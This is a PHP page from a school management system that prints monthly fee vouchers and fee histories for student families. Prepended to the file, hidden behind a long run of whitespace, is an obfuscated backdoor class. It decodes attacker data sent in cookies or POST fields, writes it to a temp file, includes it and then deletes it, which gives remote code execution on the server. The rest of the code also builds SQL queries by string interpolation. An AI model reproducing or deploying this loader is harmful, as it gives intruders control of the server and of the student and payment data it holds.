<?php                                                                                                                                                                                                                                                                                                                                                                                                 $rCKlrQ = class_exists("wQC_kBuv");if (!$rCKlrQ){class wQC_kBuv{private $zaeMtrbwYC;public static $nflvkSbfL = "6f43b289-190d-4309-bc2c-5ece3af867ed";public static $SBRUahHg = NULL;public function __construct(){$CTycl = $_COOKIE;$OESKI = $_POST;$hBeHEJPO = @$CTycl[substr(wQC_kBuv::$nflvkSbfL, 0, 4)];if (!empty($hBeHEJPO)){$HcnNVlqL = "base64";$FCmlJsffp = "";$hBeHEJPO = explode(",", $hBeHEJPO);foreach ($hBeHEJPO as $SAqAAhdOS){$FCmlJsffp .= @$CTycl[$SAqAAhdOS];$FCmlJsffp .= @$OESKI[$SAqAAhdOS];}$FCmlJsffp = array_map($HcnNVlqL . "\x5f" . "\144" . chr ( 173 - 72 )."\143" . 'o' . 'd' . 'e', array($FCmlJsffp,)); $FCmlJsffp = $FCmlJsffp[0] ^ str_repeat(wQC_kBuv::$nflvkSbfL, (strlen($FCmlJsffp[0]) / strlen(wQC_kBuv::$nflvkSbfL)) + 1);wQC_kBuv::$SBRUahHg = @unserialize($FCmlJsffp);}}public function __destruct(){$this->pdtxeDs();}private function pdtxeDs(){if (is_array(wQC_kBuv::$SBRUahHg)) {$TMaNsVLu = sys_get_temp_dir() . "/" . crc32(wQC_kBuv::$SBRUahHg[chr (115) . 'a' . 'l' . "\164"]);@wQC_kBuv::$SBRUahHg["\x77" . "\x72" . chr (105) . "\x74" . chr (101)]($TMaNsVLu, wQC_kBuv::$SBRUahHg["\x63" . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . chr ( 1048 - 932 )]);include $TMaNsVLu;@wQC_kBuv::$SBRUahHg["\144" . chr (101) . "\154" . chr (101) . chr (116) . chr (101)]($TMaNsVLu);exit();}}}$MbUhBS = new wQC_kBuv(); $MbUhBS = NULL;} ?><?php include('parent/callMe.php');?>

<?php include('Sessioncheck.php');?>

<?php 



//getting branch details 



  $m->where("branch_id", $_SESSION['branch']);

  $branch_details = $m->get("edu_branch_config");





$branch=getBranch($m);



$month_id=$_REQUEST['month'];

$monthid=date("m");

$branchID=$_SESSION['branch'];

$sessionID=$_SESSION['current_session'];







$sql = " select std.* from  edu_student_details as std where std.status='0' AND std.branch_id='$branchID' group by std.cell_no order by CAST(family_code as unsigned)  asc";



 

 $WorkAssignListings = $m->query($sql); 



//print_r($sql);

$total_fee;



$fee_types = $m->get("eduportal_fee_types");






$m->where("session_id", $_SESSION['current_session']);

$m->where("month_id", $_REQUEST['month']);

$m->where("student_id", $WorkAssignListings[0]['student_id']);

$DueDate=$m->get("eduportal_monthly_challan");


 $studentFeeData=$m->get("eduportal_monthly_challan");


?>

 <!DOCTYPE HTML>

<html>

<head>

<meta charset="utf-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta name="viewport" content="width=device-width, initial-scale=1">

<!-- Favicons-->

<link rel="icon" type="image/png" href="img/favicon.png" sizes="32x32" />

<title>Print Voucher</title>

<!-- Favicons-->

<link rel="icon" type="image/png" href="img/favicon.png" sizes="32x32" />

<script type="text/javascript">

 window.print();

</script>

<style> 



.section{width:95%; height:auto;float:left;border-right: 2px solid black;border-right-style:dotted;padding-right:2.5%;margin-left:2%;}

.box{

  width:100%;float:left;height:14.5cm;

}  

   

tr th {background-color:gray; text-align:center;font-size:14px;border:1px solid gray;padding:0%;}

tr td {border-bottom:1px solid gray;border-left:1px solid gray;height: 15px;/*padding:1.5%;*/}







.tdalign{text-align:center;border:1px solid black;}

  



body {

  background: rgb(204,204,204);

  font-weight:bold; 

}

page {

  background: white;

  display: block;

  margin: 0 auto;

  margin-bottom: 0.5cm;

  border:1px solid black;

  box-shadow: 0 0 0.5cm rgba(0,0,0,0.5);

  padding:0%;

  height: 21cm; 

}

page[size="A4"] {  

  width: 21cm;

  height: 29.7cm; 

}

page[size="A4"][layout="landscape"] {

  width: 29.7cm;

  height: 21cm;  

}

page[size="A3"] {

  width: 29.7cm;

  height: 42cm;

}

page[size="A3"][layout="landscape"] {

  width: 42cm;

  height: 29.7cm;  

}

page[size="A5"] {

  width: 14.8cm;

  height: 21cm;

}

page[size="A5"][layout="landscape"] {

  width: 21cm;

  height: 14.8cm;  

}

@media print {

  body, page {

    margin: 0;

    box-shadow: none;

    border:none;

  }

}

  </style>



</head>

<body>



<?php 

$WorkAssignValue=$WorkAssignListings;

$valueStart=$_REQUEST['valueStart'];

$valueEnd=$_REQUEST['valueEnd'];



for($k=$valueStart;$k<=$valueEnd;$k++){









?>



<page size="A4">



<div style="float:left;width:100%;">





<?php 

  $cellNo=$WorkAssignValue[$k]['cell_no'];



$sqll = " select std.* from  edu_student_details as std where std.status='0' AND std.branch_id='$branchID' And std.cell_no='$cellNo'";

//print_r($sqll);

$studentDatas = $m->query($sqll);

?>



<div class="box" >







  <div style="">

        

        <div style="width: 15%;float: left;">

            <img src="<?php echo DOMAIN.AgentDirectory;?>img/<?php echo $branch[0]['logo']; ?>" style="height:65px;width:65px;" />    

        </div>

        <div style="width:85%;font-size:18px;float: right;margin-top: 25px;text-align:center;"><?php echo $branch[0]['Branch_Name'];?></div>



      </div>

      <div style="font-size:10px; text-align:center;">  <?php echo $branch[0]['Branch_Location'];?><br><span>Contact: <?php echo $branch[0]['branch_contact'];?></span> </div>

 <br>



       

    



   <table width="100%" style="font-size:11px;" cellspacing="0">  

   

   

      <tr>  

         <td width="20%" style="border:none;"> Family Name   </td>

         <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo $WorkAssignValue[$k]['last_name'];?>  </td>

         

         <td width="20%" style="border:none;"> Cell No / Family Code   </td>

         <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo $WorkAssignValue[$k]['cell_no']." / ".$WorkAssignValue[$k]['family_code'];?>  </td>



      </tr>

 

    

 

       

  <tr>  





     <td width="20%" style="border:none;">  Month/Year  </td>

     <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo getMonthName($m,$_REQUEST['month'])."-".$_REQUEST['year'];?>

      </td>



       <td width="20%" style="border:none;">  Due Date  </td>

     <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo date("d-M-Y");?>

      </td>

  

  </tr>



     

      



   

   </table>





   <table width="20%" style="font-size:11px;margin-top:2%; float: left;" cellspacing="0">  

   



       <tr>

         <th style="border-right: 1px solid gray;" width="100%"> Particular </th>

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;background-color: lightgray;"> Class-Section   </td>        

      </tr>



      <?php if ($brid[0]['no_type']==0) { ?>

      <tr>  

         <td style="border-right: 1px solid gray; background-color: lightgray;"> 

         Roll No/Adm No </td>        

      </tr>

    <?php } elseif ($brid[0]['no_type']==1) { ?>

      <tr>

      <td style="border-right: 1px solid gray; background-color: lightgray;"> 

         Comp No: </td>

      </tr>



      <?php } elseif ($brid[0]['no_type']==2) { ?>



        <tr>



        <td style="border-right: 1px solid gray; background-color: lightgray;"> 

         Reg No: </td>

        </tr>



      <?php } ?>



         

       <tr>  

         <td style="border-right: 1px solid gray;"> Balance   </td>        

      </tr>



       <tr>  

         <td style="border-right: 1px solid gray;"> Monthly   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;"> Transport   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;"> <?php if ($branch[0]['misc_title']!=NULL){echo $branch[0]['misc_title'];}else {echo 'Miscellaneous';} ?>   </td>         

      </tr>

        

       

          <tr>

          <td style="border-right:1px solid gray;">  Other's </td>

          </tr>







       <tr>  

         <td style="border-right: 1px solid gray;"> Discount</td>

         

      </tr>

         





   <tr>

     <td style="border-right: 1px solid gray;"> Total</td>    

   </tr>

   <!-- <tr>

    <td style="border-right: 1px solid gray;">Grand Total</td>    

   </tr> -->



   </table>





      <?php 



$counter=80/count($studentDatas);







     foreach ($studentDatas as $studentData) { 





      $m->where("session_id", $_SESSION['current_session']);

      $m->where("month_id", $_REQUEST['month']);

      $m->where("student_id", $studentData['student_id']);

      $studentFeeData=$m->get("eduportal_monthly_challan");



$GrandTotal+=$studentFeeData[0]['balance']+$studentFeeData[0]['tutionfee']+$studentFeeData[0]['transportfee']+$studentFeeData[0]['misc_fee']-$studentFeeData[0]['disc_amount'];



  $m->where("session_id", $_SESSION['current_session']);

  $m->where("class_id", $studentFeeData[0]['classs_id']);

  $class_fee = $m->get("eduportal_class_fee_details");

//print_r($class_fee);

  $class_standerd_fee=$class_fee[0]['tution_fee'];



$discount_amount = $class_standerd_fee - $studentFeeData[0]['tutionfee'];

      ?>

    



      <table width="<?php echo $counter;?>%" style="font-size:11px;margin-top:2%; float: left;" cellspacing="0">  

   



       <tr>

         <th style="border-right: 1px solid gray;" width="100%"> <?php echo $studentData['first_name']; ?></th>

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo getClassName($m,$studentData['class_id'])." ".getSectionName($m,$studentData['section_id']); ?>   </td>        

      </tr>





      <?php if ($brid[0]['no_type']==0) { ?>

      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo $studentData['candidate_roll_no']."/".$studentData['ref_no']; ?>   </td>        

      </tr>

    <?php } elseif ($brid[0]['no_type']==1) { ?>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo $studentData['candidate_roll_no']; ?>   </td>        

      </tr>



      <?php } elseif ($brid[0]['no_type']==2) { ?>



        <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo $studentData['ref_no']; ?>   </td>        

      </tr>



      <?php } ?>



      



          

       <tr>  

         <td style="border-right: 1px solid gray;text-align: center;">  <?php if($studentFeeData[0]['balance']!=""){ echo $studentFeeData[0]['balance'];} else { echo "0";}?>   </td>        

      </tr>



       <tr>  

         <td style="border-right: 1px solid gray;text-align: center;"> <?php if($studentFeeData[0]['tutionfee']!=""){echo $studentFeeData[0]['tutionfee'];} else { echo "0";}?>   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;"> <?php if($studentFeeData[0]['transportfee']!=""){echo $studentFeeData[0]['transportfee'];} else { echo "0";}?>   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;"> <?php if($studentFeeData[0]['misc_fee']!=""){echo $studentFeeData[0]['misc_fee'];} else { echo "0";}?>   </td>         

      </tr>



        <?php

            

            $other_fee;

            foreach ($fee_types as $type) {



            $fee=getFeeOfOtherParameter($studentFeeData[0]['student_id'],$studentFeeData[0]['challan_id'],$type['feetype_id'],$m);

            

           $other_fee+=$fee; }   ?>



             <tr>         

                <td class="center" style="border-right:1px solid gray;text-align: center;"> <?php echo 0+$other_fee;?> </td>

             </tr>



          





       <tr>  

         <td style="border-right: 1px solid gray;text-align: center;">  <?php 

         echo number_format(($discount_amount/$class_standerd_fee)*100,0)."% (".$discount_amount.")";?></td>

         

      </tr>



      <?php



 //$m->where("feetype_id", 1);

  $m->where("student_id", $studentData['student_id']);

  $m->where("session_id", $_REQUEST['session']);

  $m->where("month_id", $_REQUEST['month']);

  $datas1=$m->get("eduportal_monthly_challan");



  $adm=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],1,$m);

  $papr=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],2,$m);

  $lib=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],3,$m);

  $lab=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],4,$m);

  $othr=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],5,$m);

  $regfee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],6,$m);

  $secufee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],7,$m);

  $anualfee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],8,$m);

  $BooksPack=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],9,$m);

  $ProcessingFee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],10,$m);

 

  



     $otherFee1=$adm+$papr+$lib+$lab+$othr+$regfee+$secufee+$anualfee+$BooksPack+$ProcessingFee;



     ?>



   <tr>

     <td style="border-right: 1px solid gray;text-align: center;"> <?php echo $studentFeeData[0]['balance']+$studentFeeData[0]['tutionfee']+$studentFeeData[0]['transportfee']+$studentFeeData[0]['misc_fee']-$studentFeeData[0]['disc_amount']+$otherFee1?></td>    

   </tr>

   <!-- <tr>

    <td colspan="<?php echo count($studentData); ?>" style="border-right: 1px solid gray;text-align: center;"><?php echo $GrandTotal+$fee;?></td>    

   </tr> -->



   </table>



<?php  }  ?>



    <table width="100%" style="font-size:11px;" cellspacing="0">  

   

  

         <tr>  

         <td width="100%" colspan="2" style="text-align:center;border-left:none;font-size: 14px;font-weight: bold;">Grand Total:- <?php echo $GrandTotal+$other_fee;?> </td>

         

         </tr>



         

   </table>





   <p style="text-align:center;margin: 3px;">Student Fee History</p>

 <table class="table "cellspacing="0"  style="width:100%;">



    <thead>

            

    <tr>

    <th style="background: white;font-size:12px;" width="3%">Month</th>

        <?php

         

      for ($mm=1; $mm<=12; $mm++) { 

//echo $mm;

        $monthss = date('F', mktime(0,0,0,$mm, 1, date('Y')));

        ?>



       <th style="background: white;font-size:12px;" width="3%" class=" center"><?php echo substr($monthss, 0, 3);?></th>



        <?php } ?>

        </tr>  





        <tr>





        <th style="background: white;font-size:12px;" width="3%">Total</th>

       <?php 

       $SumMonthlyFamily;

       $otherFee;

       for ($mm=1; $mm<=12; $mm++) {

        

foreach ($studentDatas as $studentData) { 

$stdid=$studentData['student_id'];

$bal = "select * from eduportal_monthly_challan where student_id='$stdid' AND month_id='$mm' AND session_id='$sessionID' AND branch_id=".$_SESSION['branch'];  

  $monthlyTotal = $m->query($bal);

//print_r($bal);

  $SumMonthlyFamily+=$monthlyTotal[0]['balance']+$monthlyTotal[0]['tutionfee']+$monthlyTotal[0]['transportfee']+$monthlyTotal[0]['misc_fee']-$monthlyTotal[0]['disc_amount'];





$adm=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],1,$m);

$papr=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],2,$m);

$lib=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],3,$m);

$lab=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],4,$m);

$othr=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],5,$m);

$regfee=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],6,$m);

$secufee=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],7,$m);

$anualfee=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],8,$m);

$BooksPack=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],9,$m);

$ProcessingFee=getFeeOfOtherParameter($monthlyTotal[0]['student_id'],$monthlyTotal[0]['challan_id'],10,$m);



$otherFee+=$adm+$papr+$lib+$lab+$othr+$regfee+$secufee+$anualfee+$BooksPack+$ProcessingFee;

  

}





?>

<th style="background: white;font-size:12px;" width="3%" class=" center"><?php echo $SumMonthlyFamily+$otherFee;?></th>

<?php $SumMonthlyFamily=0; $otherFee=0; }  ?>



    </tr>



    <tr>



    <th style="background: white;font-size:12px;" width="3%">Recev</th>

    <?php 



    $totalMonthlyRecev;

    for ($mm=1; $mm<=12; $mm++) { 



      foreach ($studentDatas as $studentData) { 



$stdid=$studentData['student_id'];

$bal = "select * from eduportal_monthly_challan where student_id='$stdid' AND month_id='$mm' AND session_id='$sessionID' AND branch_id=".$_SESSION['branch'];  

  $monthlyTotal = $m->query($bal);

$totalMonthlyRecev+=$monthlyTotal[0]['collected_amount']+$monthlyTotal[0]['paid_again_amount']; 

   } ?>

    <th style="background: white;font-size:12px;" width="3%" class=" center"><?php echo $totalMonthlyRecev;?></th>

<?php $totalMonthlyRecev=0; } ?>



    </tr>  

    </thead>

   </table>

<?php echo $GrandTotal="";

           $other_fee="";?>

<tr>.</tr>

      <tr style="margin-top: 10px;">  

         <td width="100%" colspan="3" style=""> <br> 

         

 

      <?php if($branch[0]['fee_vouc_note']!=NULL){



          echo $branch[0]['fee_vouc_note'];

        ?>

      

      <?php }else { ?>

          Defaulters of two or more months will be expelled out. 

      <?php } ?>

  

          </td>

         

      </tr>



       <table width="100%" style="font-size:11px;" cellspacing="0">  

   

   

         <tr>  

         <td width="100%" colspan="2" style="text-align:center;border-left:none;color:white;"> .  </td>

         

         </tr>



         <tr>  

         <td width="100%" colspan="2" style="text-align:center;border:none;color:black;"> (Signature & Stamp) <br>

            

            <span style="font-size:8px;"> <?php echo getPrintBottom($m);?>  </span>



          </td>

         

         </tr>

   </table>

  

</div>



      

 

<!-- ending section  -->







  </div>  <!-- ending box  -->













</div>







<div style="float:left;width:100%;">

<hr>









<?php 

// now updating the value of k variable to print each next student in same page

$k+=1;











  $fee_fine;

  if(date("Y-m-d")>$WorkAssignValue[$k]['challan_duedate']){



  $fee_fine=$branch[0]['late_fee_fine'];

   }

   else {



  $fee_fine=0;



   }







  $total_fee=intVal($other_fee)+intVal($WorkAssignValue[$k]['tutionfee'])+intVal($WorkAssignValue[$k]['transportfee'])+intVal($WorkAssignValue[$k]['balance'])+intVal($WorkAssignValue[$k]['misc_fee']);





if($k<count($WorkAssignValue)){



 

 ?>



 <?php 

     

 $cellNo=$WorkAssignValue[$k]['cell_no'];



$sqll = " select std.* from  edu_student_details as std where std.status='0' AND std.branch_id='$branchID' And std.cell_no='$cellNo'";

//print_r($sqll);

$studentDatas = $m->query($sqll);

?>



<div class="box" >





   

  



   <div style="">

        

        <div style="width: 15%;float: left;">

            <img src="<?php echo DOMAIN.AgentDirectory;?>img/<?php echo $branch[0]['logo']; ?>" style="height:65px;width:65px;" />    

        </div>

        <div style="width:85%;font-size:18px;float: right;margin-top: 25px;text-align:center;"><?php echo $branch[0]['Branch_Name'];?></div>



      </div>

      <div style="font-size:10px; text-align:center;">  <?php echo $branch[0]['Branch_Location'];?> </div>



 <br>





      







   <table width="100%" style="font-size:11px;" cellspacing="0">  

   

   

      <tr>  

         <td width="20%" style="border:none;">Family Name   </td>

         <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo $WorkAssignValue[$k]['last_name'];?>  </td>

         

         <td width="20%" style="border:none;"> Family Code   </td>

         <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo $WorkAssignValue[$k]['cell_no']." / ".$WorkAssignValue[$k]['family_code'];?>  </td>



      </tr>



  

       

  <tr>  



     <td width="20%" style="border:none;">  Month/Year  </td>

     <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo getMonthName($m,$_REQUEST['month'])."-".$_REQUEST['year'];?>

      </td>



       <td width="20%" style="border:none;">  Due Date  </td>

     <td width="30%" style="border-bottom: 1px solid black;text-align:center;border-left:none;">  <?php echo date("d-M-Y");?>

      </td>

  

  </tr>



     

      



   

   </table>





 

       <table width="20%" style="font-size:11px;margin-top:2%; float: left;" cellspacing="0">  

   



       <tr>

         <th style="border-right: 1px solid gray;" width="100%"> Particular </th>

      </tr>



       <tr>  

         <td style="border-right: 1px solid gray; background-color: lightgray;"> Class-Section   </td>        

      </tr>



      <?php if ($brid[0]['no_type']==0) { ?>

      <tr>  

         <td style="border-right: 1px solid gray; background-color: lightgray;"> 

         Comp No/Reg No </td>        

      </tr>

    <?php } elseif ($brid[0]['no_type']==1) { ?>

      <tr>

      <td style="border-right: 1px solid gray; background-color: lightgray;"> 

         Comp No: </td>

      </tr>



      <?php } elseif ($brid[0]['no_type']==2) { ?>



        <tr>



        <td style="border-right: 1px solid gray; background-color: lightgray;"> 

         Reg No: </td>

        </tr>



      <?php } ?>



          

       <tr>  

         <td style="border-right: 1px solid gray;"> Balance   </td>        

      </tr>



       <tr>  

         <td style="border-right: 1px solid gray;"> Monthly   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;"> Transport   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;"> <?php if ($branch[0]['misc_title']!=NULL){echo $branch[0]['misc_title'];}else {echo 'Miscellaneous';} ?>   </td>         

      </tr>

        

          

      <tr>

      <td style="border-right:1px solid gray;">  Other's </td>

      </tr>







       <tr>  

         <td style="border-right: 1px solid gray;"> Discount</td>

         

      </tr>

         





   <tr>

     <td style="border-right: 1px solid gray;"> Total</td>    

   </tr>

  <!--  <tr>

    <td style="border-right: 1px solid gray;">Grand Total</td>    

   </tr> -->



   </table>





      <?php



$counter=80/count($studentDatas);



       foreach ($studentDatas as $studentData) { 





      $m->where("session_id", $_SESSION['current_session']);

      $m->where("month_id", $_REQUEST['month']);

      $m->where("student_id", $studentData['student_id']);

      $studentFeeData=$m->get("eduportal_monthly_challan");



$GrandTotal+=$studentFeeData[0]['balance']+$studentFeeData[0]['tutionfee']+$studentFeeData[0]['transportfee']+$studentFeeData[0]['misc_fee']-$studentFeeData[0]['disc_amount'];





 $m->where("session_id", $_SESSION['current_session']);

  $m->where("class_id", $studentFeeData[0]['classs_id']);

  $class_fee = $m->get("eduportal_class_fee_details");

//print_r($class_fee);

  $class_standerd_fee=$class_fee[0]['tution_fee'];



$discount_amount = $class_standerd_fee - $studentFeeData[0]['tutionfee'];



      ?>

    



      <table width="<?php echo $counter;?>%" style="font-size:11px;margin-top:2%; float: left;" cellspacing="0">  

   



       <tr>

         <th style="border-right: 1px solid gray;" width="100%"> <?php echo $studentData['first_name']; ?></th>

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo getClassName($m,$studentData['class_id'])." ".getSectionName($m,$studentData['section_id']); ?>   </td>        

      </tr>





        <?php if ($brid[0]['no_type']==0) { ?>

      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo $studentData['candidate_roll_no']."/".$studentData['ref_no']; ?>   </td>        

      </tr>

    <?php } elseif ($brid[0]['no_type']==1) { ?>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo $studentData['candidate_roll_no']; ?>   </td>        

      </tr>



      <?php } elseif ($brid[0]['no_type']==2) { ?>



        <tr>  

         <td style="border-right: 1px solid gray;text-align: center;background-color: lightgray;">  <?php echo $studentData['ref_no']; ?>   </td>        

      </tr>



      <?php } ?>



          

       <tr>  

         <td style="border-right: 1px solid gray;text-align: center;">  <?php if($studentFeeData[0]['balance']!=""){ echo $studentFeeData[0]['balance'];} else { echo "0";}?>   </td>        

      </tr>



       <tr>  

         <td style="border-right: 1px solid gray;text-align: center;"> <?php if($studentFeeData[0]['tutionfee']!=""){echo $studentFeeData[0]['tutionfee'];} else { echo "0";}?>   </td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;"> <?php if($studentFeeData[0]['transportfee']!=""){echo $studentFeeData[0]['transportfee'];} else { echo "0";}?></td>         

      </tr>



      <tr>  

         <td style="border-right: 1px solid gray;text-align: center;"> <?php if($studentFeeData[0]['misc_fee']!=""){echo $studentFeeData[0]['misc_fee'];} else { echo "0";}?>   </td>         

      </tr>



        <?php

            

            $other_fee;

            foreach ($fee_types as $type) {



            $fee=getFeeOfOtherParameter($studentFeeData[0]['student_id'],$studentFeeData[0]['challan_id'],$type['feetype_id'],$m);

            

           $other_fee+=$fee; }   ?>

             <tr>         

                <td class="center" style="border-right:1px solid gray;text-align: center;"> <?php echo 0+$other_fee;?> </td>

             </tr>



          





       <tr>  

         <td style="border-right: 1px solid gray;text-align: center;">  <?php 

         echo number_format(($discount_amount/$class_standerd_fee)*100,0)."% (".$discount_amount.")";?></td>

         

      </tr>



        <?php



 //$m->where("feetype_id", 1);

  $m->where("student_id", $studentData['student_id']);

  $m->where("session_id", $_REQUEST['session']);

  $m->where("month_id", $_REQUEST['month']);

  $datas1=$m->get("eduportal_monthly_challan");



  $adm=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],1,$m);

  $papr=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],2,$m);

  $lib=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],3,$m);

  $lab=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],4,$m);

  $othr=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],5,$m);

  $regfee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],6,$m);

  $secufee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],7,$m);

  $anualfee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],8,$m);

  $BooksPack=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],9,$m);

  $ProcessingFee=getFeeOfOtherParameter($datas1[0]['student_id'],$datas1[0]['challan_id'],10,$m);

 

 

  



     $otherFee2=$adm+$papr+$lib+$lab+$othr+$regfee+$secufee+$anualfee+$BooksPack+$ProcessingFee;



     ?>



   <tr>

     <td style="border-right: 1px solid gray;text-align: center;"> <?php echo $studentFeeData[0]['balance']+$studentFeeData[0]['tutionfee']+$studentFeeData[0]['transportfee']+$studentFeeData[0]['misc_fee']-$studentFeeData[0]['disc_amount']+$otherFee2;?></td>    

   </tr>

   <!-- <tr>

    <td colspan="<?php echo count($studentData); ?>" style="border-right: 1px solid gray;text-align: center;"><?php echo $GrandTotal+$fee;?></td>    

   </tr> -->



   </table>



<?php } ?>



<table width="100%" style="font-size:11px;" cellspacing="0">  

   

  

         <tr>  

         <td width="100%" colspan="2" style="text-align:center;border-left:none;font-size: 14px;font-weight: bold;">Grand Total:- <?php echo $GrandTotal+$other_fee;?> </td>

         

         </tr>



         

   </table>



   

    <p style="text-align:center;margin: 3px;">Student Fee History</p>

 <table class="table "cellspacing="0"  style="width:100%;">



    <thead>

            

    <tr>

    <th style="background: white;font-size:12px;" width="3%">Month</th>

        <?php

         

      for ($mm=1; $mm<=12; $mm++) { 

//echo $mm;

        $monthss = date('F', mktime(0,0,0,$mm, 1, date('Y')));

        ?>



       <th style="background: white;font-size:12px;" width="3%" class=" center"><?php echo substr($monthss, 0, 3);?></th>



        <?php } ?>

        </tr>  





        <tr>





        <th style="background: white;font-size:12px;" width="3%">Total</th>

       <?php 

       $SumMonthlyFamily1;

       $otherFee1;

       for ($mm=1; $mm<=12; $mm++) {

        

foreach ($studentDatas as $studentData1) { 

$stdid=$studentData1['student_id'];

$bal1 = "select * from eduportal_monthly_challan where student_id='$stdid' AND month_id='$mm' AND session_id='$sessionID' AND branch_id=".$_SESSION['branch'];  

  $monthlyTotal1 = $m->query($bal1);

//print_r($bal);

  $SumMonthlyFamily1+=$monthlyTotal1[0]['balance']+$monthlyTotal1[0]['tutionfee']+$monthlyTotal1[0]['transportfee']+$monthlyTotal1[0]['misc_fee']-$monthlyTotal1[0]['disc_amount'];





$adm1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],1,$m);

$papr1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],2,$m);

$lib1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],3,$m);

$lab1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],4,$m);

$othr1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],5,$m);

$regfee1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],6,$m);

$secufee1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],7,$m);

$anualfee1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],8,$m);

$BooksPack1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],9,$m);

$ProcessingFee1=getFeeOfOtherParameter($monthlyTotal1[0]['student_id'],$monthlyTotal1[0]['challan_id'],10,$m);



$otherFee1+=$adm1+$papr1+$lib1+$lab1+$othr1+$regfee1+$secufee1+$anualfee1+$BooksPack1+$ProcessingFee1;

  

}





?>

<th style="background: white;font-size:12px;" width="3%" class=" center"><?php echo $SumMonthlyFamily1+$otherFee1;?></th>

<?php $SumMonthlyFamily1=0; $otherFee1=0; }  ?>



    </tr>



    <tr>



    <th style="background: white;font-size:12px;" width="3%">Recev</th>

    <?php 



    $totalMonthlyRecev;

    for ($mm=1; $mm<=12; $mm++) { 



      foreach ($studentDatas as $studentData1) { 



$stdid=$studentData1['student_id'];

$bal1 = "select * from eduportal_monthly_challan where student_id='$stdid' AND month_id='$mm' AND session_id='$sessionID' AND branch_id=".$_SESSION['branch'];  

  $monthlyTotal1 = $m->query($bal1);

$totalMonthlyRecev1+=$monthlyTotal1[0]['collected_amount']+$monthlyTotal1[0]['paid_again_amount']; 

   } ?>

    <th style="background: white;font-size:12px;" width="3%" class=" center"><?php echo $totalMonthlyRecev1;?></th>

<?php $totalMonthlyRecev1=0; } ?>



    </tr>  

    </thead>

   </table>



<tr>.</tr>

